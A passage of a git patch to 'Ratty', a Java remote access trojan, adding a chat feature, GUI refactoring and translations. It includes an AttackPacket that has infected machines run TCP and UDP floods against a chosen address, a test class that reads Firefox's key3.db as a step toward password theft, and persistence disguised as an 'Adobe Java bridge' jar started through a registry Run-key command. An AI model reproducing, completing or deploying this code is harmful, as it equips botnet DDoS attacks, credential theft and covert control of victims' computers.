From 554b9023ff9fee40374892a97408c8d74fe80db7 Mon Sep 17 00:00:00 2001 From: Sogomn Date: Sun, 20 Mar 2016 22:20:31 +0100 Subject: [PATCH] Major changes Added chat Bugfixes Cleanups Started to implements password recovery Translations --- .../{connection_data.txt => connection_data} | 0 Ratty/res/gui_menu_icons.png | Bin 907 -> 972 bytes Ratty/res/language/lang.properties | 1 + Ratty/res/language/lang_de.properties | 1 + Ratty/res/language/lang_en.properties | 1 + Ratty/res/language/lang_ru.properties | 15 ++- Ratty/res/language/lang_uk.properties | 15 ++- Ratty/src/de/sogomn/rat/ActiveConnection.java | 2 + Ratty/src/de/sogomn/rat/Client.java | 42 +++++++- Ratty/src/de/sogomn/rat/GUISettings.java | 19 +++- Ratty/src/de/sogomn/rat/Ratty.java | 18 ++-- .../attack/{Attack.java => AttackUtils.java} | 6 +- .../de/sogomn/rat/packet/AttackPacket.java | 49 +++++++++ .../src/de/sogomn/rat/packet/ChatPacket.java | 36 +++++++ .../src/de/sogomn/rat/packet/PacketType.java | 3 +- Ratty/src/de/sogomn/rat/recovery/Firefox.java | 29 +++++ .../rat/server/AbstractRattyController.java | 4 +- .../de/sogomn/rat/server/gui/ChatWindow.java | 100 ++++++++++++++++++ .../sogomn/rat/server/gui/DisplayPanel.java | 18 ++-- .../de/sogomn/rat/server/gui/FileTree.java | 43 +++++--- .../sogomn/rat/server/gui/FileTreeNode.java | 16 +-- .../sogomn/rat/server/gui/IGuiController.java | 4 +- .../de/sogomn/rat/server/gui/IRattyGui.java | 39 +++++++ .../de/sogomn/rat/server/gui/RattyGui.java | 59 ++++++++--- .../rat/server/gui/RattyGuiController.java | 91 ++++++++++------ .../sogomn/rat/server/gui/ServerClient.java | 22 +++- 26 files changed, 535 insertions(+), 98 deletions(-) rename Ratty/res/{connection_data.txt => connection_data} (100%) rename Ratty/src/de/sogomn/rat/attack/{Attack.java => AttackUtils.java} (90%) create mode 100644 Ratty/src/de/sogomn/rat/packet/AttackPacket.java create mode 100644 Ratty/src/de/sogomn/rat/packet/ChatPacket.java create mode 100644 Ratty/src/de/sogomn/rat/recovery/Firefox.java create mode 100644 Ratty/src/de/sogomn/rat/server/gui/ChatWindow.java create mode 100644 Ratty/src/de/sogomn/rat/server/gui/IRattyGui.java diff --git a/Ratty/res/connection_data.txt b/Ratty/res/connection_data similarity index 100% rename from Ratty/res/connection_data.txt rename to Ratty/res/connection_data diff --git a/Ratty/res/gui_menu_icons.png b/Ratty/res/gui_menu_icons.png index 46ca4fa6bced8bd2644b553f605b4726d1f229da..1680623e5355c516b0c35621636c56be06a2017d 100644 GIT binary patch delta 963 zcmV;!13dhT2h0bM7k@wq1^@s6s%dfF000A%Nkl1jS5XV>aG&D46uHXSu zMM%6s;0fRfNS-1!5<)^kyunpebW{{HJOHAjOcSB>6oI_G84AX53}^?&y)LHc}oejdXj0I6~k z{+WN*elMLlIg2QO=kNcFf&$i zEP;bsK>EJjZtoTSdHQOUV*<#wfM~`oA0U+^|)tEDHSibT!JG7mvsPnvZA+Ah&F*8`)(V1jzFycxx8l2Rr=h3-Wb#8o0Dnruk2ia0_(jelr1HN%KH8HI zKx74)B~aR#BQis)aTud1FClUW*#NAE696hN1;7Vs$?obi1b~$H>bOh5Qp5wm>qH=0 z13;F@K`cPFJ=78?24Ky4js=u10krLGEnrSg@IeBYg#}oqe~2Z}Eui~=G7F&aX=Zsy z9cvb>(|_O=sc?w}Sb4t$1n&i=-U&|K4CRi&N}MEssLoLPX14W~IBJXZU;j+)$Y&Xo z>r(;U!g5K6naFmy^x>uL$Mt=8-G;VT>!&YCNlkeIK%$u-G6<_)`b^hoQF~eM-oa%) zf6obO%9FAd2-V9vgD@X{SC+2NJP2I*RM+zI)_+|?m;-QS4gu0M%-#QLgeD058s? zaerE_c_c*2KGN7YgruKqvD^wg&yOl^Mu8wt@Zvm@C-6|0#z?d7hCyisk>k?2a5-g7k@Aa1^@s6p-X%p000A0Nklslu=8>n4dhmu1-?sC@JEbAL&YJ|ACR=CBw5RVI<2 z<+JsD>&)p{L;*Z}{bLpsfP^s20!Uu``Q0Q{01RQM1!S{sSpX|U-(^bgeqPMd3ZSwC z4r&4PyxneZ75#etWR_zBC|f`_;@`<}F0&A8VFsM!imTjC?o z8?hZO_mPD|3SpxlXy+S+U34qH`*fa)2|y=5EDWGE{C`BVhlXF|EJ7>){q3DSNdaV5 zU|9mEofXj;T93mROL+}ZLMQ|9Ud{lxycK{Pq$j(p_YeS9KB^Ng0Z)+#fUJ{&7!3ef zA_uVm-S$vRpc#NS>lF)VT>@y^)mp%soZvqRU=uK~e(fu(nXOE*K+F?flS29VX6df&{B-V$eRk^cLisU7(&V{v^h z;9FQJbeM^3hg)CX+J0W&H`i@wd$T@0kdl`241mQlL1YkKJ^IYoXjyw*@7BQ;-@oSs zE#+BR4}|GugF(12zbT{Zvj~Dzp6YsD-n(l^bAJG-tUkxLEW)$`2STJg0wGe~yBCyW zrDJ&aelVK-2!M4x}&-9B3()VvT*1D=&=N(*=Nzg`njFw15B&sMpfl408yMr1kx|GSZM{3=SP)yqd<};L~$O;6J)5PG4ia3VNhE^=J+fCXq=Do1SHN! zd4lfOO@zEjU~1BQqzOeoPpQOtFHhk0j^qil9s(b>M5ZNw$e packetClass = PacketType.getClass(id); if (packetClass == null) { + readAllAvailable(); + return null; } diff --git a/Ratty/src/de/sogomn/rat/Client.java b/Ratty/src/de/sogomn/rat/Client.java index 752720c..d1da5bf 100644 --- a/Ratty/src/de/sogomn/rat/Client.java +++ b/Ratty/src/de/sogomn/rat/Client.java @@ -1,15 +1,26 @@ package de.sogomn.rat; +import de.sogomn.rat.packet.ChatPacket; import de.sogomn.rat.packet.IPacket; import de.sogomn.rat.packet.VoicePacket; +import de.sogomn.rat.server.gui.ChatWindow; +import de.sogomn.rat.server.gui.IGuiController; import de.sogomn.rat.util.VoiceRecorder; -public final class Client implements IConnectionObserver { +public final class Client implements IConnectionObserver, IGuiController { + + private ActiveConnection connection; + + private ChatWindow chat; private static final int VOICE_BUFFER_SIZE = 1024 << 6; - public Client() { - //... + public Client(final ActiveConnection connection) { + this.connection = connection; + + chat = new ChatWindow(this); + + chat.addListener(this); } private void handleVoiceRequest(final ActiveConnection connection) { @@ -25,12 +36,26 @@ public final class Client implements IConnectionObserver { voiceRecorder.start(); } + private void handleChatPacket(final ChatPacket packet) { + final String message = packet.getMessage(); + + if (!chat.isVisible()) { + chat.setVisible(true); + } + + chat.addLine(message); + } + @Override public void packetReceived(final ActiveConnection connection, final IPacket packet) { final Class clazz = packet.getClass(); if (clazz == VoicePacket.class) { handleVoiceRequest(connection); + } else if (clazz == ChatPacket.class) { + final ChatPacket chatPacket = (ChatPacket)packet; + + handleChatPacket(chatPacket); } else { packet.execute(connection); } @@ -41,9 +66,20 @@ public final class Client implements IConnectionObserver { final String address = connection.getAddress(); final int port = connection.getPort(); + chat.close(); connection.setObserver(null); Ratty.connectToHost(address, port); } + @Override + public void userInput(final String command, final Object source) { + if (command == ChatWindow.MESSAGE_SENT) { + final String message = chat.getMessage(); + final ChatPacket packet = new ChatPacket(message); + + connection.addPacket(packet); + } + } + } diff --git a/Ratty/src/de/sogomn/rat/GUISettings.java b/Ratty/src/de/sogomn/rat/GUISettings.java index 84265db..27f6066 100644 --- a/Ratty/src/de/sogomn/rat/GUISettings.java +++ b/Ratty/src/de/sogomn/rat/GUISettings.java @@ -68,6 +68,16 @@ final class GUISettings { g.fillRect(0, 0, width, height); }; + private static final Painter SEPARATOR_PAINTER = (g, object, width, height) -> { + g.setColor(DARKER); + g.fillRect(0, height / 2, width, height / 4); + }; + + private static final Painter BACKGROUND_PAINTER = (g, object, width, height) -> { + g.setColor(BACKGROUND); + g.fillRect(0, 0, width, height); + }; + static { Font newFont; @@ -87,9 +97,14 @@ final class GUISettings { } public static void setDefaults(final UIDefaults defaults) { - defaults.put("nimbusBase", Color.GRAY); + defaults.put("nimbusSelection", Color.WHITE); + defaults.put("nimbusFocus", Color.WHITE); + defaults.put("textHighlight", SELECTION); defaults.put("control", BACKGROUND); + defaults.put("TextArea[Enabled].backgroundPainter", BACKGROUND_PAINTER); + defaults.put("TextField[Enabled].backgroundPainter", BACKGROUND_PAINTER); + defaults.put("Button[Enabled].backgroundPainter", BASE_PAINTER); defaults.put("Button[Default].backgroundPainter", BASE_PAINTER); defaults.put("Button[Focused].backgroundPainter", BASE_PAINTER); @@ -133,6 +148,7 @@ final class GUISettings { defaults.put("PopupMenu[Enabled].backgroundPainter", BASE_PAINTER); defaults.put("MenuItem[MouseOver].backgroundPainter", SELECTION_PAINTER); defaults.put("MenuBar[Enabled].backgroundPainter", BASE_PAINTER); + defaults.put("PopupMenuSeparator[Enabled].backgroundPainter", SEPARATOR_PAINTER); defaults.put("Tree:TreeCell[Enabled+Selected].backgroundPainter", SELECTION_PAINTER); defaults.put("Tree:TreeCell[Focused+Selected].backgroundPainter", SELECTION_PAINTER); @@ -153,6 +169,7 @@ final class GUISettings { defaults.put("TableHeader.font", FONT); defaults.put("FileChooser.font", FONT); defaults.put("TextField.font", FONT); + defaults.put("TextArea.font", FONT); defaults.put("FormattedTextField.font", FONT); defaults.put("PopupMenu.font", FONT); defaults.put("Menu.font", FONT); diff --git a/Ratty/src/de/sogomn/rat/Ratty.java b/Ratty/src/de/sogomn/rat/Ratty.java index 02f3816..8d05466 100644 --- a/Ratty/src/de/sogomn/rat/Ratty.java +++ b/Ratty/src/de/sogomn/rat/Ratty.java @@ -13,6 +13,7 @@ import javax.swing.plaf.nimbus.NimbusLookAndFeel; import de.sogomn.engine.util.FileUtils; import de.sogomn.rat.server.ActiveServer; +import de.sogomn.rat.server.gui.RattyGui; import de.sogomn.rat.server.gui.RattyGuiController; /* @@ -31,7 +32,7 @@ public final class Ratty { private static boolean client; private static final int CONNECTION_INTERVAL = 5000; - private static final String CONNECTION_DATA_FILE_NAME = "/connection_data.txt"; + private static final String CONNECTION_DATA_FILE_NAME = "/connection_data"; private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + "Adobe" + File.separator + "AIR" + File.separator + "jre13v3bridge.jar"; private static final String STARTUP_REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\""; @@ -101,10 +102,9 @@ public final class Ratty { } public static void connectToHost(final String address, final int port) { - final ActiveConnection newClient = new ActiveConnection(address, port); - final Client trojan = new Client(); + final ActiveConnection connection = new ActiveConnection(address, port); - if (!newClient.isOpen()) { + if (!connection.isOpen()) { try { Thread.sleep(CONNECTION_INTERVAL); } catch (final Exception ex) { @@ -117,14 +117,18 @@ public final class Ratty { return; } - newClient.setObserver(trojan); - newClient.start(); + final Client client = new Client(connection); + + connection.setObserver(client); + connection.start(); } public static void startServer(final int port) { final ActiveServer server = new ActiveServer(port); - final RattyGuiController controller = new RattyGuiController(); + final RattyGui gui = new RattyGui(); + final RattyGuiController controller = new RattyGuiController(server, gui); + gui.addListener(controller); server.setObserver(controller); server.start(); } diff --git a/Ratty/src/de/sogomn/rat/attack/Attack.java b/Ratty/src/de/sogomn/rat/attack/AttackUtils.java similarity index 90% rename from Ratty/src/de/sogomn/rat/attack/Attack.java rename to Ratty/src/de/sogomn/rat/attack/AttackUtils.java index cf941cf..cd35dc2 100644 --- a/Ratty/src/de/sogomn/rat/attack/Attack.java +++ b/Ratty/src/de/sogomn/rat/attack/AttackUtils.java @@ -8,12 +8,12 @@ import java.net.DatagramSocket; import java.net.InetSocketAddress; import java.net.Socket; -public final class Attack { +public final class AttackUtils { private static final int TCP_INTERVAL = 1; private static final int UDP_INTERVAL = 150; - private Attack() { + private AttackUtils() { //... } @@ -75,7 +75,7 @@ public final class Attack { } } - public static void launchUdpFlood(final String address, final int milliseconds) { + public static void launchUdpFlood(final String address, final long milliseconds) { final long time = System.currentTimeMillis(); while (System.currentTimeMillis() - time < milliseconds) { diff --git a/Ratty/src/de/sogomn/rat/packet/AttackPacket.java b/Ratty/src/de/sogomn/rat/packet/AttackPacket.java new file mode 100644 index 0000000..1189b4f --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/AttackPacket.java @@ -0,0 +1,49 @@ +package de.sogomn.rat.packet; + +import de.sogomn.rat.ActiveConnection; +import de.sogomn.rat.attack.AttackUtils; + +public final class AttackPacket implements IPacket { + + private byte type; + private String address; + + private int port; + private long duration; + private int threads; + + public static final byte TCP = 0; + public static final byte UDP = 1; + + public AttackPacket(final byte type, final String address, final int port, final long duration, final int threads) { + this.type = type; + this.address = address; + this.port = port; + this.duration = duration; + this.threads = threads; + } + + @Override + public void send(final ActiveConnection connection) { + connection.writeByte(type); + connection.writeUTF(address); + connection.writeInt(port); + connection.writeLong(duration); + connection.writeInt(threads); + } + + @Override + public void receive(final ActiveConnection connection) { + type = connection.readByte(); + } + + @Override + public void execute(final ActiveConnection connection) { + if (type == TCP) { + AttackUtils.launchTcpWave(address, port, threads); + } else if (type == UDP) { + AttackUtils.launchUdpFlood(address, duration); + } + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/ChatPacket.java b/Ratty/src/de/sogomn/rat/packet/ChatPacket.java new file mode 100644 index 0000000..4fc651b --- /dev/null +++ b/Ratty/src/de/sogomn/rat/packet/ChatPacket.java @@ -0,0 +1,36 @@ +package de.sogomn.rat.packet; + +import de.sogomn.rat.ActiveConnection; + +public final class ChatPacket implements IPacket { + + private String message; + + public ChatPacket(final String message) { + this.message = message; + } + + public ChatPacket() { + this(""); + } + + @Override + public void send(final ActiveConnection connection) { + connection.writeUTF(message); + } + + @Override + public void receive(final ActiveConnection connection) { + message = connection.readUTF(); + } + + @Override + public void execute(final ActiveConnection connection) { + //... + } + + public String getMessage() { + return message; + } + +} diff --git a/Ratty/src/de/sogomn/rat/packet/PacketType.java b/Ratty/src/de/sogomn/rat/packet/PacketType.java index 7340262..f697c11 100644 --- a/Ratty/src/de/sogomn/rat/packet/PacketType.java +++ b/Ratty/src/de/sogomn/rat/packet/PacketType.java @@ -24,7 +24,8 @@ public enum PacketType { WEBSITE(17, WebsitePacket.class), AUDIO(18, AudioPacket.class), PING(19, PingPacket.class), - DOWNLOAD_URL(20, DownloadUrlPacket.class); + DOWNLOAD_URL(20, DownloadUrlPacket.class), + CHAT(21, ChatPacket.class); public final byte id; public final Class clazz; diff --git a/Ratty/src/de/sogomn/rat/recovery/Firefox.java b/Ratty/src/de/sogomn/rat/recovery/Firefox.java new file mode 100644 index 0000000..86a0a01 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/recovery/Firefox.java @@ -0,0 +1,29 @@ +package de.sogomn.rat.recovery; + +import de.sogomn.engine.util.FileUtils; + +/* + * TEST CLASS!!! + */ +public final class Firefox { + + private Firefox() { + //... + } + + public static void main(final String[] args) { + final byte[] data = FileUtils.readExternalData("C:/Users/Sogomn/AppData/Roaming/Mozilla/Firefox/Profiles/ok9izu3i.default/key3.db"); + final String string = new String(data); + final int globalSalt = string.indexOf("global-salt") - 11 - 16; + final int passwordCheck = string.indexOf("password-check"); + final int entrySalt = globalSalt + 11 + 16; + + System.out.println(globalSalt); + System.out.println(passwordCheck); + System.out.println(entrySalt); + System.out.println(); + System.out.println(string); + System.out.println(); + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java index 21d4b82..33810ee 100644 --- a/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java +++ b/Ratty/src/de/sogomn/rat/server/AbstractRattyController.java @@ -28,14 +28,12 @@ public abstract class AbstractRattyController implements IServerObserver, IConne @Override public void disconnected(final ActiveConnection connection) { connections.remove(connection); - connection.setObserver(null); - connection.close(); } @Override public void closed(final ActiveServer server) { - connections.stream().forEach(connection -> { + connections.forEach(connection -> { connection.setObserver(null); connection.close(); }); diff --git a/Ratty/src/de/sogomn/rat/server/gui/ChatWindow.java b/Ratty/src/de/sogomn/rat/server/gui/ChatWindow.java new file mode 100644 index 0000000..e9bc375 --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/ChatWindow.java @@ -0,0 +1,100 @@ +package de.sogomn.rat.server.gui; + +import java.awt.BorderLayout; +import java.awt.Container; +import java.awt.Dimension; +import java.awt.event.ActionEvent; + +import javax.swing.JFrame; +import javax.swing.JScrollPane; +import javax.swing.JTextArea; +import javax.swing.JTextField; +import javax.swing.text.DefaultCaret; + +import de.sogomn.engine.util.AbstractListenerContainer; + +public final class ChatWindow extends AbstractListenerContainer { + + private Object userObject; + + private JFrame frame; + private JTextArea chat; + private JTextField submit; + private JScrollPane scrollPane; + + private String message; + + private static final Dimension SIZE = new Dimension(500, 500); + private static final String USER_PREFIX = "You: "; + + public static final String MESSAGE_SENT = "Message sent"; + + public ChatWindow(final Object userObject) { + this.userObject = userObject; + + frame = new JFrame(); + chat = new JTextArea(); + submit = new JTextField(); + scrollPane = new JScrollPane(chat, JScrollPane.VERTICAL_SCROLLBAR_ALWAYS, JScrollPane.HORIZONTAL_SCROLLBAR_NEVER); + + final Container contentPane = frame.getContentPane(); + final DefaultCaret caret = (DefaultCaret)chat.getCaret(); + + caret.setUpdatePolicy(DefaultCaret.ALWAYS_UPDATE); + + submit.addActionListener(this::messageSubmitted); + chat.setEditable(false); + chat.setLineWrap(true); + chat.setWrapStyleWord(true); + + + contentPane.add(scrollPane, BorderLayout.CENTER); + contentPane.add(submit, BorderLayout.SOUTH); + + frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); + frame.setPreferredSize(SIZE); + frame.setIconImages(RattyGui.GUI_ICONS); + frame.pack(); + frame.setLocationRelativeTo(null); + } + + private void messageSubmitted(final ActionEvent a) { + final String message = submit.getText(); + + if (!message.isEmpty()) { + this.message = message; + + notifyListeners(controller -> controller.userInput(MESSAGE_SENT, userObject)); + + addLine(USER_PREFIX + message); + } + + submit.setText(""); + } + + public void close() { + frame.setVisible(false); + frame.dispose(); + } + + public void addLine(final String line) { + chat.append(line + "\r\n"); + } + + public void setVisible(final boolean visible) { + frame.setVisible(visible); + } + + public void setTitle(final String title) { + frame.setTitle(title); + } + + public String getMessage() { + return message; + } + + public boolean isVisible() { + return frame.isVisible(); + } + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java index 882f8f1..e4cfed3 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java +++ b/Ratty/src/de/sogomn/rat/server/gui/DisplayPanel.java @@ -19,7 +19,7 @@ import de.sogomn.rat.util.FrameEncoder.IFrame; public final class DisplayPanel extends AbstractListenerContainer implements IMouseListener, IKeyboardListener { - private ServerClient client; + private Object userObject; private String title; private Screen screen; @@ -35,8 +35,8 @@ public final class DisplayPanel extends AbstractListenerContainer controller.userInput(CLOSED, client)); + notifyListeners(controller -> controller.userInput(CLOSED, userObject)); } }; final BufferedImage[] icons = RattyGui.GUI_ICONS.stream().toArray(BufferedImage[]::new); @@ -111,7 +111,7 @@ public final class DisplayPanel extends AbstractListenerContainer controller.userInput(MOUSE_EVENT, client)); + notifyListeners(controller -> controller.userInput(MOUSE_EVENT, userObject)); } @Override @@ -130,7 +130,13 @@ public final class DisplayPanel extends AbstractListenerContainer controller.userInput(KEY_EVENT, client)); + notifyListeners(controller -> controller.userInput(KEY_EVENT, userObject)); + } + + public void close() { + if (screen != null) { + screen.close(); + } } public void setTitle(final String title) { diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java index ad3cfe3..0eb53d4 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTree.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTree.java @@ -24,22 +24,20 @@ import de.sogomn.engine.util.ImageUtils; public final class FileTree extends AbstractListenerContainer { - private ServerClient client; + private Object userObject; private JFrame frame; - private FileTreeNode root; private JTree tree; private DefaultTreeModel treeModel; private JScrollPane scrollPane; - private JPopupMenu menu; - private FileTreeNode clickedNode; + private FileTreeNode nodeClicked; + private static final Dimension SIZE = new Dimension(500, 500); private static final String ROOT_NAME = ""; private static final String SEPARATOR_REGEX = "[\\\\\\/]"; - private static final Dimension DEFAULT_SIZE = new Dimension(500, 500); private static final BufferedImage[] MENU_ICONS = new SpriteSheet(ImageUtils.scaleImage(ImageUtils.loadImage("/gui_tree_icons.png"), 2), 16 * 2, 16 * 2).getSprites(); public static final String REQUEST = LANGUAGE.getString("action.request_files"); @@ -50,7 +48,7 @@ public final class FileTree extends AbstractListenerContainer { public static final String NEW_DIRECTORY = LANGUAGE.getString("action.new_directory"); public static final String DROP_FILE = LANGUAGE.getString("action.drop_file"); - public static final String[] COMMANDS = { + private static final String[] COMMANDS = { REQUEST, DOWNLOAD, UPLOAD, @@ -60,8 +58,8 @@ public final class FileTree extends AbstractListenerContainer { DROP_FILE }; - public FileTree(final ServerClient client) { - this.client = client; + public FileTree(final Object userObject) { + this.userObject = userObject; frame = new JFrame(); root = new FileTreeNode(ROOT_NAME); @@ -87,9 +85,9 @@ public final class FileTree extends AbstractListenerContainer { tree.setSelectionPath(path); if (path != null) { - clickedNode = (FileTreeNode)path.getLastPathComponent(); + nodeClicked = (FileTreeNode)path.getLastPathComponent(); } else { - clickedNode = null; + nodeClicked = null; } } }; @@ -100,7 +98,7 @@ public final class FileTree extends AbstractListenerContainer { tree.setComponentPopupMenu(menu); frame.setDefaultCloseOperation(JFrame.HIDE_ON_CLOSE); - frame.setPreferredSize(DEFAULT_SIZE); + frame.setPreferredSize(SIZE); frame.setContentPane(scrollPane); frame.setIconImages(RattyGui.GUI_ICONS); frame.pack(); @@ -120,13 +118,17 @@ public final class FileTree extends AbstractListenerContainer { private void menuItemClicked(final ActionEvent a) { final String command = a.getActionCommand(); - notifyListeners(controller -> controller.userInput(command, client)); + notifyListeners(controller -> controller.userInput(command, userObject)); } public void reload() { treeModel.reload(); } + public void reload(final FileTreeNode node) { + treeModel.reload(node); + } + public void addNodeStructure(final String... path) { FileTreeNode current = root; @@ -162,7 +164,7 @@ public final class FileTree extends AbstractListenerContainer { treeModel.removeNodeFromParent(node); - treeModel.reload(parent); + reload(parent); } public void removeChildren(final FileTreeNode node) { @@ -172,19 +174,26 @@ public final class FileTree extends AbstractListenerContainer { treeModel.removeNodeFromParent(child); } - treeModel.reload(node); + reload(node); } public void setVisible(final boolean visible) { - frame.setVisible(true); + frame.setVisible(visible); + } + + public void close() { + root.removeAllChildren(); + + frame.setVisible(false); + frame.dispose(); } public void setTitle(final String title) { frame.setTitle(title); } - public FileTreeNode getClickedNode() { - return clickedNode; + public FileTreeNode getNodeClicked() { + return nodeClicked; } } diff --git a/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java b/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java index 09f49de..f6d1e5a 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java +++ b/Ratty/src/de/sogomn/rat/server/gui/FileTreeNode.java @@ -22,6 +22,16 @@ public final class FileTreeNode implements MutableTreeNode { children = new ArrayList(); } + public FileTreeNode[] getChildren() { + final FileTreeNode[] childArray = children.stream().toArray(FileTreeNode[]::new); + + return childArray; + } + + public void removeAllChildren() { + children.clear(); + } + @Override public Enumeration children() { final Enumeration enumeration = Collections.enumeration(children); @@ -29,12 +39,6 @@ public final class FileTreeNode implements MutableTreeNode { return enumeration; } - public FileTreeNode[] getChildren() { - final FileTreeNode[] childArray = children.stream().toArray(FileTreeNode[]::new); - - return childArray; - } - @Override public void insert(final MutableTreeNode child, int index) { final boolean fileTreeNode = child instanceof FileTreeNode; diff --git a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java index 627890b..7093e52 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java +++ b/Ratty/src/de/sogomn/rat/server/gui/IGuiController.java @@ -1,7 +1,7 @@ package de.sogomn.rat.server.gui; -interface IGuiController { +public interface IGuiController { - void userInput(final String command, final ServerClient client); + void userInput(final String command, final Object userObject); } diff --git a/Ratty/src/de/sogomn/rat/server/gui/IRattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/IRattyGui.java new file mode 100644 index 0000000..60b569c --- /dev/null +++ b/Ratty/src/de/sogomn/rat/server/gui/IRattyGui.java @@ -0,0 +1,39 @@ +package de.sogomn.rat.server.gui; + +import java.io.File; + +public interface IRattyGui { + + String getInput(final String message); + + default String getInput() { + return getInput(null); + } + + File getFile(final String type); + + default File getFile() { + return getFile(null); + } + + File getSaveFile(final String type); + + default File getSaveFile() { + return getSaveFile(null); + } + + void showMessage(final String message); + + void showError(final String message); + + boolean showWarning(final String message, final String yes, final String no); + + int showOptions(final String message, final String yes, final String no, final String cancel); + + void addClient(final ServerClient client); + + void removeClient(final ServerClient client); + + void update(); + +} diff --git a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java index 11ed7a6..8991e21 100644 --- a/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java +++ b/Ratty/src/de/sogomn/rat/server/gui/RattyGui.java @@ -9,6 +9,8 @@ import java.awt.Point; import java.awt.event.ActionEvent; import java.awt.event.MouseAdapter; import java.awt.event.MouseEvent; +import java.awt.event.WindowAdapter; +import java.awt.event.WindowEvent; import java.awt.image.BufferedImage; import java.io.File; import java.util.Arrays; @@ -39,24 +41,21 @@ import de.sogomn.engine.util.AbstractListenerContainer; import de.sogomn.engine.util.ImageUtils; import de.sogomn.rat.Ratty; -final class RattyGui extends AbstractListenerContainer { +public final class RattyGui extends AbstractListenerContainer implements IRattyGui { private JFrame frame; private JTable table; private ServerClientTableModel tableModel; private JScrollPane scrollPane; - private JPopupMenu menu; private JMenuBar menuBar; private JButton build, attack; - private JFileChooser fileChooser; + private ServerClient clientClicked; - private ServerClient lastServerClientClicked; - - private static final Dimension SIZE = new Dimension(1150, 600); private static final String TITLE = "Ratty " + Ratty.VERSION; + private static final Dimension SIZE = new Dimension(1150, 600); private static final BufferedImage GUI_ICON_SMALL = ImageUtils.loadImage("/gui_icon.png"); private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(GUI_ICON_SMALL, 64, 64); @@ -91,6 +90,8 @@ final class RattyGui extends AbstractListenerContainer { public static final String BUILD = LANGUAGE.getString("action.build"); public static final String ATTACK = LANGUAGE.getString("action.attack"); public static final String DROP_EXECUTE = LANGUAGE.getString("action.drop_execute"); + public static final String CHAT = LANGUAGE.getString("action.chat"); + public static final String CLOSE = "Close"; public static final List GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE); @@ -106,7 +107,8 @@ final class RattyGui extends AbstractListenerContainer { UTILITY_ITEM_DATA.put(COMMAND, MENU_ICONS[5]); UTILITY_ITEM_DATA.put(WEBSITE, MENU_ICONS[8]); UTILITY_ITEM_DATA.put(AUDIO, MENU_ICONS[7]); - OTHER_ITEM_DATA.put(FREE, MENU_ICONS[10]); + UTILITY_ITEM_DATA.put(CHAT, MENU_ICONS[12]); + OTHER_ITEM_DATA.put(FREE, MENU_ICONS[11]); } public RattyGui() { @@ -127,7 +129,7 @@ final class RattyGui extends AbstractListenerContainer { final Point mousePoint = m.getPoint(); final int rowIndex = table.rowAtPoint(mousePoint); - lastServerClientClicked = tableModel.getServerClient(rowIndex); + clientClicked = tableModel.getServerClient(rowIndex); table.setRowSelectionInterval(rowIndex, rowIndex); } @@ -139,6 +141,12 @@ final class RattyGui extends AbstractListenerContainer { final JMenu utility = createMenu(UTILITY, UTILITY_ICON, UTILITY_ITEM_DATA); final JMenu other = createMenu(OTHER, OTHER_ICON, OTHER_ITEM_DATA); final JTableHeader tableHeader = table.getTableHeader(); + final WindowAdapter closingAdapter = new WindowAdapter() { + @Override + public void windowClosing(final WindowEvent w) { + close(); + } + }; tableHeader.setReorderingAllowed(false); @@ -164,7 +172,8 @@ final class RattyGui extends AbstractListenerContainer { contentPane.add(scrollPane, BorderLayout.CENTER); contentPane.add(menuBar, BorderLayout.SOUTH); - frame.setDefaultCloseOperation(JFrame.EXIT_ON_CLOSE); + frame.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE); + frame.addWindowListener(closingAdapter); frame.setPreferredSize(SIZE); frame.pack(); frame.setLocationRelativeTo(null); @@ -204,9 +213,17 @@ final class RattyGui extends AbstractListenerContainer { private void actionPerformed(final ActionEvent a) { final String command = a.getActionCommand(); - notifyListeners(controller -> controller.userInput(command, lastServerClientClicked)); + notifyListeners(controller -> controller.userInput(command, clientClicked)); + } + + public void close() { + frame.setVisible(false); + frame.dispose(); + + notifyListeners(controller -> controller.userInput(CLOSE, clientClicked)); } + @Override public void update() { final int selectedRow = table.getSelectedRow(); @@ -217,15 +234,19 @@ final class RattyGui extends AbstractListenerContainer { } } - public void addRow(final ServerClient client) { + @Override + public void addClient(final ServerClient client) { tableModel.addServerClient(client); } - public void removeRow(final ServerClient client) { + @Override + public void removeClient(final ServerClient client) { tableModel.removeServerClient(client); } - public boolean showWarning(final String message, final String... options) { + @Override + public boolean showWarning(final String message, final String yes, final String no) { + final String[] options = {yes, no}; final int input = JOptionPane.showOptionDialog(frame, message, null, JOptionPane.YES_NO_OPTION, JOptionPane.WARNING_MESSAGE, null, options, null); if (input == JOptionPane.YES_OPTION) { @@ -235,10 +256,12 @@ final class RattyGui extends AbstractListenerContainer { return false; } + @Override public void showError(final String message) { JOptionPane.showMessageDialog(frame, message, null, JOptionPane.ERROR_MESSAGE, null); } + 